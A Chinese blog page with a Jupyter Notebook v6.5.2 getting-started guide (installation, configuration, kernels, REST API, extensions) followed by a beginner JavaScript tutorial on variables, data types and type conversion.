首页 文章 精选 留言 我的

精选列表

搜索[webpack入门],共10000篇文章
优秀的个人博客,低调大师

Jupyter Notebook入门指南

作者:京东科技隐私计算产品部 孙晓军 1. Jupyter Notebook介绍 图1 Jupter项目整体架构 [https://docs.jupyter.org/en/latest/projects/architecture/content-architecture.html] Jupyter Notebook是一套基于web的交互式开发环境。用户可以在线开发和分享包含代码和输出的交互式文档,支持实时代码,数学方程,可视化和 markdown等。用途包括:数据清理和转换,数值模拟,统计建模,机器学习等等。 Jupyter Notebook内部通过内核维护状态并运行代码片段,浏览器显示代码片段和其执行的结果。Jupyter Notebook提供了一个用户交互式的开发环境,用户可以通过执行一部分代码片段,并观察执行结果。这种交互式设计,使得Jupyter Notebook非常适合数据科学和机器学习的开发工作。 注意本文的代码和脚本,均基于Jupyter Notebook v6.5.2稳定版本。 2. Jupyter的工作方式 图2 Jupter Notebook工作方式 [https://docs.jupyter.org/en/latest/projects/architecture/content-architecture.html] Jupyter的主要工作单元是Jupyter Server和Kernel。其中Jupyter Server用来提供基于Web的界面和API服务,Kernel用来执行代码片段。浏览器通过Http和Websockets的方式和Jupyter Server进行交互,Jupyter Server和kernel之间,通过ZeroMQ进行数据通信。 Jupyter Server采用经典的MVC模式,使用了tornado作为web服务器,用来提供地址映射和控制器逻辑,使用jinja2来提供模板视图功能。 Jupyter Notebook(v6.5.2)项目的主要模块结构如下: 模块 说明 notebook Notebook功能模块。 terminal 终端模块。为Jupyter提供控制台交互能力。 view 文件可视化模块。比如pdf文件的显示。 tree 工作区目录树 nbconvert 格式转换模块,可以把Jupyter Notebook转换成html,pdf等格式 kernel Jupyter Notebook 内核 services Jupyter Notebook REST API模块 i18n Jupyter Notebook多语言资源 3. 安装Jupyter Notebook 前置条件 Python和pip 不同的Jupyter Notebook对Python有不同的版本要求。我们安装的最新的稳定版本v6.5.2的Jupyter Notebook,要求Python的最低版本为3.6。注意这个Python的版本,不同于内核的Python版本。对于Jupyter内核来说,支持的Python版本和Jupyter Notebook依赖的Python版本没有关系。 在Linux系统下安装Jupyter Notebook 使用pip安装Jupyter notebook非常简单。如果服务器同时拥有Python2和Python3的pip,注意需要使用pip3来替换命令中的pip。 # 更新pip pip install --upgrade pip # 安装jupyter pip install jupyter # 检查安装的jupyter jupyter --version //输出 notebook : 6.5.2 4. 配置和启动Jupyter Jupyter提供了大量的启动参数,用来配置Jupyter Server。我们可以在启动Jupyter服务时,通过命令行参数的方式配置当前启动的服务,但更普遍的方式是使用Jupyter的配置文件。 # 生成配置文件 jupyter notebook --generate-config // 默认生成的配置文件位置: /root/.jupyter/jupyter_notebook_config.py # 修改Jupyter配置文件... # 启动jupyter jupyter notebook Jupyter直接使用一个Python文件来配置Jupyter服务,所有的配置项均通过Python代码来完成。常用的配置项及其说明如下: 名称 默认值 说明 c.NotebookApp.allow_root False 为了安全,Jupyter默认不允许使用root用户启动。如果需要以root用户的身份启动Jupyter,需要开启此设定 c.NotebookApp.allow_origin '' 当需要Jupyter内嵌到iframe时,可以设置为“*“来避免跨origin的限制 c.NotebookApp.ip localhost 当需要通过外网地址来访问Jupyter服务时,需要设置一个有效的服务器IP地址。 c.NotebookApp.port 8888 Jupyter server对外服务端口 c.NotebookApp.notebook_dir / Jupyter的工作空间,默认可以访问服务器上当前用户的所有文件系统 c.NotebookApp.open_browser True 启动服务后是否立即通过浏览器打开服务地址 c.NotebookApp.default_url /tree Jupyter服务的默认地址 c.NotebookApp.extra_static_paths [] 扩展静态文件目录 c.NotebookApp.extra_template_paths [] 扩展模板文件目录 c.KernelSpecManager.allowed_kernelspecs set() 默认允许使用所有的kernel c.NotebookApp.nbserver_extensions {} 允许加载的Jupyter Server扩展 5. 使用Jupyter 5.1. 创建Notebook 启动Jupyter 后,在浏览器内输入 http://服务器地址:端口/,Jupyter会默认重定向到.default_url指定的工作区目录树地址,默认是工作区目录树的界面。 如果在访问的过程中,使用了默认的token作为其认证方式,那么在首次打开时,需要输入Jupyter Notebook的token值,这个值可以在启动Jupyter时的控制台输出中找到,或者使用Jupyter命令来查询 # 查询运行的jupyter notebook jupyter notebook list //返回结果中包含了http://x.x.x.x:8899?token=ABC 的信息,其中的ABC就是我们需要的token 图3 Jupter Notebook的默认工作区目录树页面 Jupyter Notebook通过Jupyter Server提供基于Web的平台无关的工作方式,这使得跨平台开发和协作,代码分享等能力变得比传统IDE更加容易。 在Jupyter 工作区管理界面,用户可以灵活地以类似文件系统的方式管理工作区的数据。可以创建文件和文件夹,编辑文件和文件夹,可以上传和下载文件。通过选择一个Jupyter内核,可以创建一个Notebook文件。 图4 通过Jupyter内核创建一个Notebook 5.2. 使用Notebook 使用Python3内核创建一个Notebook后,我们得到一个xxx.ipynb(IPython Notebook)文件。这个文件是一个json格式的文本文件,其中包含了我们在Notebook中编写的代码和文本内容,也包含了界面上没有显示的元数据信息。通过在工作区目录界面选择一个notebook文件,点击编辑,我们可以查看到ipynb文件的原始内容。 图5 ipynb文件的原始内容 我们可以像使用其它IDE类似的方式来使用Notebook,在使用Notebook上,我们主要关注下Jupyter内核和单元格。 内核是执行单元格代码的核心进程,不同的内核,决定了我们在单元格中能够编写哪些语言的代码,以及对应了指定的编程语言的哪个版本等信息。 单元格是整个Notebook的核心组成部分,我们编写的代码和文本,通过一些列Notebook单元格来组成。Notebook提供了Code,Markdown, Raw NBConvert, Heading四种类型的单元格。 •Code单元格。用来编写内核指定语言的程序代码 •Markdown单元格。使用Markdown编辑器的语法来编辑富文本 •Raw NBConvert单元格。原始的文本,不会被当作代码或markdown被解释执行 •Heading单元格。Heading是Mardown的一个子集,对应了Markdown中的标题编写语法 Jupyter Notebook使用了机器学习中检查点的概念,在我们修改Notebook的过程中,Jupyter会自动保存我们的修改,我们也可以通过【文件】->【保存】来手动保存检查点。检查点文件包含了我们编写的Notebook内容,以及执行代码单元格之后的输出。我们可以在工作空间的“.ipynb_checkpoints”文件夹下,找到这些检查点文件。 图6 使用Jupyter单元格来编写交互式代码 5.3. 分享Notebook 相较于使用传统的IDE编写的代码,基于Web服务的Jupyter Notebook在代码分享上拥有着天然的优势。 在Jupyter Notebook中,我们可以通过两种不同的方式分享我们创作的nootbook。 交互式Notebook文档 传统的技术文档或者说明书,通过静态的文本,配合图片和视频,来描述和讲解特定的技术或功能。有了Jupyter Notebook后,我们仍然可以使用Notebook来编写类似传统的技术文档。在此基础上,我们可以加入更生动的代码交互单元格,用户通过查看文档说明,并与文档中提供的代码进行互动,可以更生动地介绍产品中的功能和技术。每个Jupyter Notebook的ipynb文件,都对应了一个独立的访问地址: http://x.x.x.x:8899/notebooks/my_notebook.ipynb ,通过分享此文件的地址,其他用户可以方便地使用包含了富文本和可执行的代码的交互式Notebook文档。 离线Notebook文档 我们通过逐步执行文档中的所有单元格,得到一个包含了我们编写的说明和代码,以及代码执行的输出结果的完整文档。之后点击【文件】-> 【另存为】,选择一种合适的文件格式。我们可以把文档导出为一份静态文件,通过共享此静态文件,我们实现了Notebook文档的离线分享。 5.4. 魔法函数 Jupyter Notebook提供了一些列魔法函数来增强Jupyter Code单元格的功能,通过魔法函数,我们能够执行javascript脚本,html代码,运行另一个可执行程序等许多额外的功能。 我们可以在Jupyter代码单元格中使用 %lsmagic命令来查看所有的魔法函数,如果要阅读详细的魔法函数的使用说明,可以参考: https://ipython.readthedocs.io/en/stable/interactive/magics.html 魔法函数分为行魔法函数,单元格魔法函数和会话魔法函数。顾名思义,行魔法函数只对当前行起作用,而单元格魔法函数则作用于整个单元格,会话魔法函数则作用于整个会话期间。 一些常用的魔法函数: 指令 说明 %matplotlib 设置matplot绘图的显示模式 %%javascript 单元格内的代码被识别为javascript代码 %%html 单元格内的代码被识别为html代码 %run 执行外部脚本文件 %pwd 获取当前工作的目录位置(非工作空间目录位置) %writefile 以文件形式保存当前单元格代码 %timeit 获取本行代码的执行时间 %debug 激活调试模式 6. 管理Jupyter 6.1. 多语言 Jupyter Notebook使用i18n目录下的资源来进行多语言翻译。在Jupyter Notebook启动时,会加载i18n目录下的多语言资源。之后根据http请求指定的语言,为响应数据提供对应的多语言翻译。如果没有对应的翻译,则保留原始的多语言标签值(英文)。如果调整了多语言翻译,需要重新启动Jupyter Notebook才能使用新的语言包。 Jupyter Notebook的翻译资源主要分布在三个po文件中: •nbjs.po - js文件中的多语言数据 •nbui.po - UI界面中的多语言数据 •notebook.po - notebook中的多语言数据 原始的po文件,需要通过pybabel工具,把po文件编译成mo文件,之后部署在$notebook/i18n/${LANG}/LC_MESSAGES/目录下($notebook是notebook的安装目录),才能在Jupyter Notebook中作为多语言的资源包来使用。 # 使用pybabel编译多语言po文件 pybabel compile -D notebook -f -l ${LANG} -i ${LANG}/LC_MESSAGES/notebook.po -o ${LANG}/LC_MESSAGES/notebook.mo pybabel compile -D nbui -f -l ${LANG} -i ${LANG}/LC_MESSAGES/nbui.po -o ${LANG}/LC_MESSAGES/nbui.mo pybabel compile -D nbjs -f -l ${LANG} -i ${LANG}/LC_MESSAGES/nbjs.po -o ${LANG}/LC_MESSAGES/nbjs.mo 图7 使用了中文语言包后的中文Notebook界面 6.2. 内核管理 内核(kernel)是独立于jupyter服务和界面之外的用来运行Jupyter代码单元格的进程,Jupyter默认提供了ipykernel内核来支持Python开发语言。Jupyter社区提供了jupyterC, IJava,xeus-cling, xeus-sql等众多其它编程语言的内核,用来支持C/C++, Java, SQL等编程语言。 ipykernel默认使用系统环境下的Python来提供服务。我们可以使用ipykernel安装多个Python kernel来提供Python2.x, Python3.x等多个Python内核环境。 安装kernel后,kernel的信息被保存在kernel.json文件中,我们可以在 /usr/local/share/jupyter/kernels 目录,找到Jupyter安装的所有kernel以及对应的kernel.json文件。 kernel可以直接继承自安装kernel的Python指令,也可以使用Python虚拟环境。 # 1.直接继承自Python指令的kernel安装 # 安装ipykernel pip install ipykernel # 安装kernel python -m ipykernel install --name tensorflow2 --display-name "tensorflow2" # 2. 在Python虚拟环境下的kernel安装 # 激活虚拟环境 source activate myenv # 安装ipykernel pip install ipykernel # 安装kernel python -m ipykernel install --name myenv --display-name "Python3 (myenv)" 如果需要查看当前的kernel列表,以及删除已经安装的kernel,可以使用如下的Jupyter命令: # 查看已经安装的kernel列表 jupyter kernelspec list # 删除列表中指定的kernel jupyter kernelspec remove kernelname 6.3. REST API Jupyter提供了REST API接口来和Jupyter server进行交互。借助REST API的能力,我们可以以编程的方式和Jupyter Server进行交互,灵活地管理Jupyter Server。另外REST API为现代化的软件开发提供了一个优秀的能力:自动化。 借助Jupyter Notebook REST API,可以实现文件的上传和下载,检查点管理,会话管理,内核管理,终端管理等一些列管理能力。完整的Jupyter REST API接口列表可以参考: https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html 要使用REST API,需要在请求中携带认证信息。Jupyter支持直接把token作为query string的方式来认证,也可以使用标准的Http Authorization头信息来完成认证。使用Authorization头来认证的格式如下: Authrozation: token 527a9f1430ccfed995ebcf15517583a2547c2469bc3c47a6 图8 使用Postman来调用Jupyter REST API接口 6.4. 安全管理与多人协作 Jupyter提供了灵活强大的能力,用以支持在线的交互式文档和代码的编写。但Jupyter项目自身没有提供精细化的安全管理体系,用以支持多用户下灵活地使用Jupyter Notebook的功能。对于文件安全,Jupyter依赖于启动服务的linux用户,合理地配置启动Jupyter的用户的权限,才能保证使用Jupyter的用户,不会对系统或项目造成破坏。Jupyter工作空间的设定,仅起到了方便Jupyter使用者管理必要文件的易用性,不能阻挡用户访问和管理工作空间外的文件系统。另外,配合使用Python虚拟环境,可以防止Jupyter Notebook提供的 pip install ,pip uninstall功能,对现有项目环境造成破坏。 在多人协作方面,JupyterHub项目提供了多人协作Jupyter Notebook和Jupyter lab开发的能力。使用JupyterHub,不同职能的用户可以在自己独立的空间内进行Notebook的编写工作,不同用户间也可以方便地分享各自的Notebook。 7. 扩展Jupyter 7.1. 前端扩展 Jupyter Notebook前端扩展(front end extension)是使用Javascript语言编写的异步模块,可以用来绘制Jupyter界面的仪表盘,Notebook,工具栏等,。定义一个前端扩展必须要实现一个load_ipython_extension方法,当前端控件被加载时,Jupyter client会调用load_ipython_extension方法。 Jupyter Notebook前端扩展能力目前还不是一个稳定的版本,不保证代码能够向后兼容。Jupyter的JS API目前也没有官方的文档,需要通过源代码或者实际加载的JS来查看Jupyter前端脚本的成员和方法。 我们实现一个简单的前端扩展脚本,在jupyter前端的工具条中,添加一个自定义工具,当点击自定义工具时,弹出提示信息。 define([ 'base/js/namespace' ], function( Jupyter ) { function load_ipython_extension() { var handler = function () { alert('欢迎使用前端扩展!'); }; var action = { icon: 'fa-comment-o', help : '前端扩展', help_index : 'zz', handler : handler }; var prefix = 'my_extension'; var action_name = 'show-alert'; var full_action_name = Jupyter.actions.register(action, action_name, prefix); // returns 'my_extension:show-alert' Jupyter.toolbar.add_buttons_group([full_action_name]); } return { load_ipython_extension: load_ipython_extension }; }); 完前端扩展代码后,我们把脚本保存到main.js文件,放置在/opt/my_extension目录下。接下来我们使用jupyter nbextension工具来安装和启用前端扩展 # 安装前端扩展 jupyter nbextension install /opt/my_extension # 启用前端扩展 jupyter nbextension enable my_extension/main # 禁用前端扩展 jupyter nbextension disable my_extension/main # 查看前端扩展列表 jupyter nbextension list # 卸载前端扩展 jupyter nbextension uninstall my_extension 图9 在Notebook工具条中加入的前端扩展 7.2. 服务端扩展 Jupyter服务端扩展(server extension)是使用Python语言编写的模块,可以用来处理发送到Jupyter Server的Http请求。使用Jupyter服务端扩展,可以更改现有Jupyter请求的数据和行为,也可以为jupyter Server定义新的服务处理程序。 定义一个服务端扩展模块要实现一个load_jupyter_server_extension方法,其中包含一个类型为notebook.notebookapp.NotebookApp的参数serverapp,serverapp的详细属性和方法可以通过Jupyter Notebook源代码中的notebookapp.py文件来查看。当服务端扩展被加载时,Jupyter Server会调用load_jupyter_server_extension方法。在load_jupyter_server_extension方法中,我们可以通过调用serverapp的web_app属性的add_handlers方法来注册处理程序,用来处理特定的服务端请求。处理程序类需要继承自Jupyter的IPythonHandler类。在处理程序的方法中,可以使用Jupyter提供的@web.authenticated装饰器来为方法增加身份认证保护。 通过服务端扩展,还可以与前端扩展联动,实现一个功能丰富的Jupyter Notebook前端控件。 # 定义一个处理程序 from tornado import ( gen, web, ) from notebook.base.handlers import IPythonHandler class HelloWorldHandler(IPythonHandler): @web.authenticated @gen.coroutine def get(self): self.finish(f'Hello, world!') # 实现load_jupyter_server_extension方法并注册处理程序 def load_jupyter_server_extension(serverapp): handlers = [ ('/myextension/hello', HelloWorldHandler) ] serverapp.web_app.add_handlers('.*$', handlers) 完成服务端扩展代码后,我们把代码保存为__init__.py文件,要在Jupyter Notebook中使用处理程序,我们还需要进行服务端扩展的安装和启用。不同于前端扩展,服务端扩展不能直接使用指令来安装,需要我们手动编写安装程序。此外,Jupyter提供了自动启用服务端扩展和前端扩展的方法,需要我们在脚本的根目录提供启用扩展的配置文件。 jupyter-config/ ├── jupyter_notebook_config.d/ │ └── my_server_extension.json └── nbconfig/ └── notebook.d/ └── my_front_extension.json setup.py 加入了自动启用扩展的配置,我们的服务端扩展目录结构如下: hello-extension/ ├── __init__.py jupyter-config/ ├── jupyter_notebook_config.d/ └── hello_extension.json hello_extension.json文件的内容为: { "ServerApp": { "jpserver_extensions": { "hello_extension": true } } } 接下来我们通过安装程序,安装服务端扩展的信息保存在/root/.jupyter/jupyter_notebook_config.json文件中。在安装完成后,我们可以通过jupyter serverextesion工具来股那里服务端扩展 # 启用服务端扩展 jupyter serverextension enable hello_extension # 禁用服务端扩展 jupyter serverextension disable hello_extension # 服务端扩展直接卸载的方法,需要我们通过pip uninstall 卸载安装程序, # 再通过手工修改/root/.jupyter/jupyter_notebook_config.json文件删除扩展信息来完成卸载 图10 在浏览器中测试安装的服务端扩展程序 7.3. 界面定制 Jupyter没有提供标准的界面定制的能力,但我们可以手工调整jupyter生成的模板视图文件和样式文件,达到整条调整jupyter notebook的界面的能力。 Jupyter Notebook模板文件的位置为:$notebook/templates,样式和脚本定制推荐的方案是使用~/.jupyter/custom/custom.css和~/.jupyter/custom/custom.js文件。我们可以直接在此基础上对文件进行修改,还可以通过extra_template_paths和extra_static_paths来引入其它位置的模板和其它静态文件。 图11 通过直接调整模板文件加入的界面定制按钮 7.4. 小部件 小部件(Widgets)是Jupyter交互式可视化数据呈现部件。Jupyter Widgets同时包含了访问后端数据和前端呈现的能力,可以用于在Jupyter Notebook上生动地展示服务端的数据和数据变化。 在v6.5.2稳定版本上,我们目前只能使用系统提供的小部件,还不能开发自定义小部件。在Jupyter notebook7.x版本中,开始提供了小部件的自定义开发能力。 # 确保安装了ipywidgets和traitlets pip install --upgrade traitlets pip install --upgrade ipywidgets # 安装和启用小部件 jupyter nbextension install --py widgetsnbextension jupyter nbextension enable --py widgetsnbextension 在安装和启用了小部件后,我们可以在notebook中直接使用系统提供的小部件。 图12 在Notebook中使用小部件 完整的小部件列表和使用方式可以参考: https://ipywidgets.readthedocs.io/en/7.x/examples/Widget List.html 8. 总结 Jupyter Notebook以其丰富的功能,简单易用,强大的交互能力和扩展能力,成为数据科学和机器学习开发中的神器。目前,Jupyter Notebook支持超过40种编程语言,被应用于Google Colab, Kubeflow, 华为云,kaggle等多个知名项目中,大量机器学习和数据科学的论文中使用到了Jupyter。Jupyter在数据可视化,提升工作效率,改善用户体验和丰富文档功能方面显现了巨大的威力。除此之外,Jupyter还提供的灵活强大的扩展能力,更是为Jupyter的深层次使用提供了更广阔的想象空间。如果你还没有开始接触Jupyter,那么就从现在开始吧。

优秀的个人博客,低调大师

javascript 0基础入门

JavaScript基础 作者: 写代码的小鱼儿 Email:282505458@qq.com QQ:282505458 微信:15311464808 说明:本文档用于学习交流,可传播可分享,如有错误,请联系小鱼儿,感谢矫正与探讨 javascript简介 http://www.ecma-international.org/memento/TC39.htm 什么是JavaScript js 是一种 基于对象 的 弱类型 脚本语言; js 是一种 由浏览器解析的 解释型语言 js 区分大小写 轻量级解释型的程序设计语言 语言特点:动态,头等函数 执行环境:在宿主环境下执行(host environment),浏览器是最常见的 Javascript 宿主环境 作用 JavaScript 被用来改进设计、验证表单、检测浏览器、创建cookies,等等等等。 增加浏览器与用户的互动。 介绍 它最初由Netscape的Brendan Eich设计。JavaScript是甲骨文公司的注册商标。Ecma国际以JavaScript 为基础制定了ECMAScript标准。JavaScript也可以用于其他场合,如服务器端编程。完整的JavaScript 实现包含三个部分:ECMAScript,文档对象模型,浏览器对象模型。 Netscape在初将其脚本语言命名为LiveScript,后来Netscape在与Sun合作之后将其改名为 JavaScript。 JavaScript初受Java启发而开始设计的,目的之一就是“看上去像Java”,因此语法上有类 似之处,一些名称和命名规范也借自Java。但JavaScript的主要设计原则源自Self和Scheme。 JavaScript与Java名称上的近似,是当时Netscape为了营销考虑与Sun微系统达成协议的结果。为了取 得技术优势,微软推出了JScript来迎战JavaScript的脚本语言。为了互用性,Ecma国际(前身为欧洲计 算机制造商协会)创建了ECMA-262标准(ECMAScript)。两者都属于ECMAScript的实现。尽管 JavaScript作为给非程序人员的脚本语言,而非作为给程序人员的脚本语言来推广和宣传,但是 JavaScript具有非常丰富的特性。 发展初期,JavaScript的标准并未确定,同期有Netscape的JavaScript,微软的JScript和CEnvi的 ScriptEase三足鼎立。1997年,在ECMA(欧洲计算机制造商协会)的协调下,由Netscape、Sun、微 软、Borland组成的工作组确定统一标准:ECMA-262。 意义 JavaScript 发展到现在几乎无所不能。 网页特效 服务端开发(Node.js) 命令行工具(Node.js) 桌面程序(Electron) App(Cordova) 控制硬件-物联网(Ruff) 游戏开发(cocos2d-js) 什么是JavaScript JavaScript 被设计用来向 HTML 页面添加交互行为。 JavaScript 是一种直译式脚本语言(脚本语言是一种轻量级的编程语言),由浏览器直接解析。 JavaScript 由数行可执行计算机代码组成。 JavaScript 通常被直接嵌入 HTML 页面。 JavaScript 是一种解释性语言(就是说,代码执行不进行预编译)。 JavaScript是一种弱类型语言 JavaScript 区分大小写 Java 和 JavaScript 是相同的吗? 不同! 在概念和设计方面,Java 和 JavaScript 是两种完全不同的语言。 Java(由太阳微系统公司开发)很强大,同时也是更复杂的编程语言,就像同级别的 C 和 C++。 组成 ECMAScript – 标准,基本语法。JavaScript核心 ECMA 欧洲计算机制造联合会 网景:JavaScript 微软:JScript 定义了JavaScript的语法规范 JavaScript的核心,描述了语言的基本语法和数据类型,ECMAScript是一套标准,定义了一种语言的标 准与具体实现无关。 BOM – 浏览器对象模型 描述了与浏览器进行交互的方法和接口。,比如:弹出框、控制浏览器跳转、获取分辨率等 DOM – 文档对象模型 描述了处理网页内容的方法和接口 JavaScript 书写位置 (1)写在HTML标签中 < input type="button" value="提交" οnclick="alert('hello world')"> (2)写在script标签中 <head> <script> alert('Hello World!'); </script> </head> (3)写在外部js文件中,然后在页面使用标签引入 ​ 注意:引用外部 js文件的 script标签中不可以写 JavaScript代码 ​ 一般放在html文档的最后,body标签之前,这样能使浏览器更快的加载。 注意事项: script标签在页面中可以出现多对 script标签一般是放在body的标签的后,有的时候会在head标签中 在一对script的标签中有错误的js代码,那么该错误的代码后面的js代码不会执行 如果第一对的script标签中有错误,不会影响后面的script标签中的js代码执行 如果script标签是引入外部js文件的作用,那么这对标签中不要写任何的js代码,如果要写,重新 写一对script标签,里面写代码 script的标签中可以写属性, type="text/javascript"是标准写法或者写 language="JavaScript"都可以,也有可能出现这两个属性同时写的情况,但是,目前在我们的 html页面中,type和language都可以省略,原因:html是遵循h5的标准 在js中,回车换行就代表一个语句,后边的分号可以省略不写。但是在开发过程中,我们通常会将js代码压缩,压缩的时候会去掉回车,因此为了避免合并代码出错误,我们不会省略后面的分号。 (4)a 标签中使用(了解即可,不常用) < a href = "javascript:alert('aaa');" ></a> 变量声明 什么是变量 变量是计算机内存中存储数据的标识符,根据变量名称可以获取到内存中存储的数据 。 作用:操作数据 存储数据、 获取数据 声明变量 var 声明变量 var age;//声明变量 age = 1;//变量赋值 同时声明多个变量 var age, name, sex; age = 10; name = 'zs'; 同时声明多个变量并赋值 var age = 10, name = 'zs'; 变量的命名规范 规则 - 必须遵守的,不遵守会报错 由字母、数字、下划线、$符号组成, 不能以数字开头 不能是关键字和保留字,例如:for、while。 区分大小写 规范 - 建议遵守的,不遵守不会报错 变量名必须有意义 遵守驼峰命名法。 首字母小写,后面单词的首字母需要大写。例如:userName、 userPassword js声明变量都用var js中每一行代码结束加分号 面试题 交换两个变量的值: //方案一 利用临时变量 var a = 5; var b = 10; var t; t = a;//将a的值赋给临时变量t a = b;//将a 的值赋给b; b = t;//将t的值赋给b console.log(a); console.log(b); //方案二 让其中一个值变成与他们两个都有关系的值 var num1 = 1; var num2 = 3; num1 += num2;//num1赋值为两个数的和 num2 = num1 - num2;//和减去sum2得到sum1的值 num1 -= num2;//再把和减去sum2的值赋给sum1 console.log(num1); console.log(num2); //方案三 利用数组 var a1 = 2; var a2 = 4; a1 = [a1,a2];//将a1,a2的值作为数组的值赋给a1 a2 = a1[0]; a1 = a1[1]; console.log(a1); console.log(a2); //方案四 利用对象,原理同上 var o1 = 4; var o2 = 6; o1 = {o1:o2, o2:o1}; o2 = o1.o1; o1 = o1.o2; console.log(o1); console.log(o2); //方案五 原理还是数组 var aa = 40; var bb = 20; aa = [bb,bb = aa][0]; console.log(aa); console.log(bb); 输出方式 alert(‘弹框内容’); console.log(‘输出内容’); 控制台输出,F12 调出浏览器调试 document.write(‘内容’); 页面输出 prompt() 可以提交数据的弹框 注释 注释:解释代码含义 作用:解释说明,方便维护,利于团队合作 js注释 单行注释 : // 多行注释 : /* ... */ 一般用在代码段 html注释 css注释 /* … */ php注释 单行注释 // ​ 单行注释 # ​ 多行注释 /* … */ 注意:代码中要多加注释,否则不规范 注释的代码不会执行 数据类型 在编程语言中,能够表示并操作的值的类型叫做数据类型。 强类型语言:必须明确声明变量的数据类型的语言; 弱类型语言:不必须明确类型声明的语言。如js, 按简单复杂分 基本类型:number 、string 、boolean、 undefined 、null 复杂类型:object 、array 、date 、regexp 、function 、基本包装类型、单体内置对象(global、math) js 的数据类型有:六种 number、string、boolean、undefined、null、object Number类型 直接量就是可以在程序中直接使用的数据值。 数值字面量 数值的固定值的表示法 110 1024 60.5 进制 十进制 var num = 9; 进行算数计算时,八进制和十六进制表示的数值终都将被转换成十进制数值。 十六进制 var num = 0xA; 数字序列范围:09以及AF 八进制 var num1 = 07; // 对应十进制的7 var num2 = 019; // 对应十进制的19 var num3 = 08; // 对应十进制的8 数字序列范围:0~7 如果字面值中的数值超出了范围,那么前导零将被忽略,后面的数值将被当作十进制数值解析 小数 数值范围 小值:Number.MIN_VALUE,这个值为: 5e-324 大值:Number.MAX_VALUE,这个值为: 1.7976931348623157e+308 无穷大:Infinity 无穷小:-Infinity var n = 5e-324; // 科学计数法 5乘以10的-324次方 //不要用小数去验证小数 var result = 0.1 + 0.2; // 结果不是 0.3,而是:0.30000000000000004 NaN not a number 的缩写,undefined 与数值运算得到的结果 它是一个特殊的值,不与任何数相等,包括它自己 var a; var b = 1; var c = a + b; console.log(NaN == NaN); console.log(isNaN(c)); 被0整除不会报错,只是简单的返回无穷大(infinity)或负无穷大(-infinity)。 0除以0无意义,结果为NAN。 console.log(Number.MAX_VALUE);//1.7976931348623157e+308 console.log(Number.MIN_VALUE);//5e-324 console.log(2 / 0);//Infinity 无穷大 isNaN 常用来判断变量是否是数值类型,true 表示不是数值 false表示是数值 var dd = 1; console.log(isNaN(dd)); string 字符串类型 由单引号或双引号包围 获取字符串的长度 变量.length var str = 'absfgfeh'; console.log(str.length); 转义字符/字符直面量 字面量 含义 \n 换行 \t 制表符,横向跳格 \b 空格 \r 回车 \f 换页符 \\ 反斜杠 ’ 单引号 " 双引号 \0nnn 八进制代码 nnn 表示的字符(n 是 0 到 7 中的一个八进制数字) \xnn 十六进制代码 nn 表示的字符(n 是 0 到 F 中的一个十六进制数字) \unnnn 十六进制代码 nnnn 表示的 Unicode 字符(n 是 0 到 F 中的一个十六进制数字) console.log('假期回来\\好开心啊'); console.log('假期回来"好开心"啊'); console.log("假期回来'好开心'啊"); console.log("假期回来'好\n开心'啊"); 字符串拼接 + console.log(11 + 11); console.log('hello' + ' world'); console.log('100' + '100'); console.log('11' + 11); console.log('male:' + true); 两边只要有一个是字符串,那么+就是字符串拼接功能 两边如果都是数字,那么就是算术功能。 Boolean类型 Boolean字面量: true和false,区分大小写 计算机内部存储:true为1,false为0 以下7种情况值可以转为false ,其他情况都会转成true。 数值0 空字符串 null undefined NaN false null null 用于对象 , 对象只有被定义才有可能为 null,否则为 undefined。 2.空类型 ,打印数据类型为对象 3.值只有一个:null 4.一个对象指向为空了,此时可以赋值为null 5.null只能手动赋值 var nul = null; console.log(nul); console.log(typeof nul); undefined undefined表示一个声明了没有赋值的变量 函数如果没有明确返回值,结果也是undefined 如果一个变量结果是undefined,和数字进行运算结果为NaN,不是一个数字,也没有意义 null 与 undefined 的区别: 共同点: 都表示值得空缺; 不包含任何属性和方法; 都只有自身一个值; 布尔类型都为假; 不同: undefined:系统级的、出乎意料的类似错误的值得空缺;预定义的全局变量 null:表示程序级的,正常的或意料之中的值得空缺。可作为参数传入函数 两者往往可以互换。“= =”认为两者是相等的,“===”认为是不等的,所以一般用严格相等来区别他们。 对象 object 与数组类似,同样是使用一个名字表示一组值。对象的每个值都是对象的一个属性。 对象可以看做是属性的无序集合,每个属性都是一个名/值对。 使用点号来获取属性。 语法结构: {propertyname:value,propertyname:value} var lennon = {name:John,year:1940,living:false} var obj = new Object; console.log(obj); console.log(typeof obj); 用法: create(创建)、set(设置)、query(查找)、delete(删除)、test(检测)和枚举属性。 获取变量的类型 typeof 两种使用方式: typeof 变量名 typeof(变量名) var age = 18; console.log(typeof age); // 'number' console.log(typeof(age)); instanceof 检测对象是否是某个函数的实例对象 object.prototype.toString.call() 检测对象的原型对象 数据类型转换 转换成数值类型 类型转换分为 显示转换:如转换函数Number() 、parseInt() 等等 隐式转换:指在计算或判断过程中自动转换的方式。如:“10” - 4 = 6 Number() 转换成数值类型,严格转换。有一个非数字符都不可转换 Number()可以把任意值转换成数值,如果要转换的字符串中有一个不是数值的字符,返回NaN console.log(Number(10));//10 console.log(Number(''));//0 console.log(Number(null));//0 console.log(Number(10.4));//10.4 console.log(Number('a10'));//NaN console.log(Number(3e5));//300000 console.log(Number('abd'));//NaN console.log(Number('123bd'));//NaN console.log(Number(true));//1 console.log(Number(false));//0 console.log(Number(NaN));//NaN console.log(Number(undefined));//NaN parseInt() 转换成整数。 只取整数部分,忽略小数部分(从第一个字符开始查找,找到非数字截止,并返回找到的数字) console.log(parseInt(10));//10 console.log(parseInt(10.4));//10 console.log(parseInt('a10'));//NaN,如果第一个字符不是数字或者符号就返回 NaN console.log(parseInt(3e5));//300000 console.log(parseInt('abd'));//NaN console.log(parseInt('123bd'));//123,如果第一个字符是数字会解析,直到遇到非数字结束 console.log(parseInt(NaN));//NaN console.log(parseInt(undefined));//NaN parseFloat() 把字符串转换成浮点数,即小数。 console.log(parseFloat(10));//10 console.log(parseFloat(10.4));//10.4 console.log(parseFloat('a10'));//NaN,如果第一个字符不是数字或者符号就返回 NaN console.log(parseFloat('0.1.0'));//0.1,会解析第一个. 遇到第二个.或者非数字结束 console.log(parseFloat(3e5));//300000 console.log(parseFloat('abd'));//NaN console.log(parseFloat('123bd'));//123,如果第一个字符是数字会解析,直到遇到非数字结束 console.log(parseFloat(NaN));//NaN console.log(parseFloat(undefined));//NaN parseFloat()和parseInt非常相似,不同之处在于 parseFloat会解析第一个. 遇到第二个.或者非数字结束 如果解析的内容里只有整数,解析成整数 + - 0运算 var str = '500'; console.log(+str); // 500 取正 console.log(-str); // -500 取负 console.log(str - 0);//500 转换成字符串类型 String():可以转所有字符 